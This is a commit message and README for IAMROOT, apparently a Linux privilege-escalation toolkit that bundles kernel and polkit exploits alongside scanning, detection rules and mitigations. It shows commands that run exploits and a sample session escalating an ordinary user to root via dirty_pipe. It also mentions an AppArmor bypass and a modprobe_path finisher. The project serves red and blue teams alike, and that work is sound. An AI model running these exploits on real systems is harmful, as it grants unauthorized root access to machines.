iamroot.c: bump IAMROOT_VERSION 0.1.0 → 0.2.0 CVES.md: redefine 🟡 to note --full-chain capability + docs/OFFSETS.md README.md: update Status section for v0.2.0 docs/OFFSETS.md: new doc — env-var/kallsyms/System.map/embedded-table resolution chain + operator workflow for populating offsets per kernel build + sentinel-based success arbitration. All 7 🟡 modules now expose `--full-chain`. Default behavior unchanged.

|
||
|
||
## Quickstart
|
||
|
||
```bash
|
||
# One-shot install (x86_64 / arm64; checksum-verified)
|
||
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
||
```
|
||
|
||
**iamroot runs as a normal unprivileged user** — that's the whole
|
||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
||
work without `sudo`. Only `--mitigate` and rule-file installation
|
||
write to root-owned paths.
|
||
|
||
```bash
|
||
# What's this box vulnerable to? (no sudo)
|
||
iamroot --scan
|
||
|
||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
||
iamroot --audit
|
||
|
||
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
||
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||
|
||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
||
sudo iamroot --mitigate copy_fail
|
||
|
||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
||
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
|
||
```
|
||
|
||
### Example: unprivileged → root
|
||
|
||
```text
|
||
$ id
|
||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||
|
||
$ iamroot --scan
|
||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
||
|
||
$ iamroot --exploit dirty_pipe --i-know
|
||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
||
[+] dirty_pipe: spawning su root
|
||
# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
```
|
||
|
||
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
|
||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
||
for the blue-team deployment guide.
|
||
|
||
## What this is
|
||
|
||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
||
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
|
||
is empirically verified to work on the kernels it claims to target,
|
||
CI-tested across a distro matrix, and ships with the detection
|
||
signatures defenders need to spot it in their environment.
|
||
|
||
The same binary covers offense and defense:
|
||
|
||
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
|
||
apply, and which are blocked by patches/config/LSM
|
||
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
|
||
authorization gate)
|
||
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
|
||
every bundled CVE so blue teams can drop them into their tooling
|
||
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
|
||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
||
|
||
## Status
|
||
|
||
**Active — v0.2.0 cut 2026-05-16.** Corpus covers **20 modules**
|
||
across the 2016 → 2026 LPE timeline:
|
||
|
||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
||
- 🟡 **7 modules fire the kernel primitive** by default and refuse to
|
||
claim root without empirical confirmation. Pass `--full-chain` to
|
||
engage the shared `modprobe_path` finisher and attempt root pop —
|
||
requires kernel offsets via env vars / `/proc/kallsyms` /
|
||
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
||
Modules: af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
|
||
netfilter_xtcompat, stackrot.
|
||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||
are exported via `iamroot --detect-rules --format=…`.
|
||
|
||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
||
|
||
## Why this exists
|
||
|
||
The Linux kernel privilege-escalation space is fragmented:
|
||
|
||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
||
exploits, don't run them
|
||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
||
stale, no CI, no defensive signatures
|
||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
||
within months of release, often only one distro
|
||
|
||
IAMROOT's bet is that there's room for a single curated bundle that
|
||
(1) actively maintains a small set of high-quality exploits across a
|
||
multi-distro matrix, and (2) ships detection rules alongside each
|
||
exploit so the same project serves both red and blue teams.
|
||
|
||
## Architecture
|
||
|
||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||
Modules export a standard interface: `detect()`, `exploit()`,
|
||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
||
ranges, distro coverage, and CI test matrix.
|
||
|
||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
||
fingerprinting, common utilities) lives in `core/`.
|
||
|
||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||
module-loader design and how to add a new CVE.
|
||
|
||
## Build & run
|
||
|
||
```bash
|
||
make # build all modules
|
||
./iamroot --scan # what's this box vulnerable to? (no sudo)
|
||
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
|
||
./iamroot --detect-rules --format=sigma > rules.yml
|
||
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
||
```
|
||
|
||
## Acknowledgments
|
||
|
||
Each module credits the original CVE reporter and PoC author in its
|
||
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
|
||
research credit belongs to the people who found the bugs.
